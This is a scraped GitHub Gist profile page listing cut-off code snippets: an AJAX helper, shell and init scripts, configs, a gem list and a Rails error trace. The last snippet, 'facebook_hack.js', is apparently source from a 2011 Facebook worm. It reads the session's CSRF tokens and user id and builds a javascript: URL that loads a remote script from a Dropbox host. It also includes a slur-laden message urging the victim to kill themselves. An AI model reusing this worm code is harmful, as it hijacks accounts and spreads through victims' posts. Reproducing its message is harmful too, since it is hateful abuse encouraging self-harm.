Skip to content

Instantly share code, notes, and snippets.

View filipeamoreira's full-sized avatar

Filipe A Moreira filipeamoreira

View GitHub Profile
function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
// Provides a device_scale class on iOS devices for scaling user
// interface elements relative to the current zoom factor.
//
// http://37signals.com/svn/posts/2407-device-scale-user-interface-elements-in-ios-mobile-safari
// Copyright (c) 2010 37signals.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#!/bin/sh -e
#
# Usage: browser
# pipe html to a browser
# e.g.
# $ echo "<h1>hi mom!</h1>" | browser
# $ ron -5 man/rip.5.ron | browser
if [ -t 0 ]; then
if [ -n "$1" ]; then
.mouse{
position: absolute;
background-image: url('../images/cursor.png');
width: 15px;
height: 22px;
z-index: 100;
}
# config/initializers/carrierwave.rb
CarrierWave.configure do |config|
config.grid_fs_database = "database_name"
config.grid_fs_host = 'localhost'
config.grid_fs_access_url = "/uploads"
config.storage = :grid_fs
end
@filipeamoreira
filipeamoreira / gist:862026
Created March 9, 2011 10:58
Trinidad /etc/init.d/trinidad
#! /bin/sh
# Generic script for running ruby scripts as daemons using
# jsvc and a java class to control the daemon.
#
# Contains common parameters and start/stop
# Things you'll need to set on a per script/daemon basis:
# SCRIPT_NAME - Path to the ruby script which creates a Daemon
# object for jsvc to control
# APP_NAME - Name of your application
@filipeamoreira
filipeamoreira / gist:862035
Created March 9, 2011 11:08
Trinidad config file
port: 3000
ajp:
port: 8009
*** LOCAL GEMS ***
abstract (1.0.0)
actionmailer (3.0.3)
actionpack (3.0.3)
activemodel (3.0.3)
activerecord (3.0.3)
activerecord-jdbc-adapter (1.1.1)
activerecord-jdbcsqlite3-adapter (1.1.1)
activeresource (3.0.3)
guto@server:~/scm/git/intranet-stage$ rails c
/usr/local/rvm/gems/ruby-1.9.2-p180@intranet-with-sequel/bundler/gems/tiny_tds-ef384b4cddba/lib/tiny_tds/client.rb:57:in `connect': TinyTds::Error: Unable to open socket (Sequel::DatabaseConnectionError)
from /usr/local/rvm/gems/ruby-1.9.2-p180@intranet-with-sequel/bundler/gems/tiny_tds-ef384b4cddba/lib/tiny_tds/client.rb:57:in `initialize'
from /usr/local/rvm/gems/ruby-1.9.2-p180@intranet-with-sequel/gems/sequel-3.21.0/lib/sequel/adapters/tinytds.rb:16:in `new'
from /usr/local/rvm/gems/ruby-1.9.2-p180@intranet-with-sequel/gems/sequel-3.21.0/lib/sequel/adapters/tinytds.rb:16:in `connect'
from /usr/local/rvm/gems/ruby-1.9.2-p180@intranet-with-sequel/gems/sequel-3.21.0/lib/sequel/database/misc.rb:45:in `block in initialize'
from /usr/local/rvm/gems/ruby-1.9.2-p180@intranet-with-sequel/gems/sequel-3.21.0/lib/sequel/connection_pool.rb:92:in `call'
from /usr/local/rvm/gems/ruby-1.9.2-p180@intranet-with-sequel/gems/sequel-
@filipeamoreira
filipeamoreira / facebook_hack.js
Created May 12, 2011 08:50 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);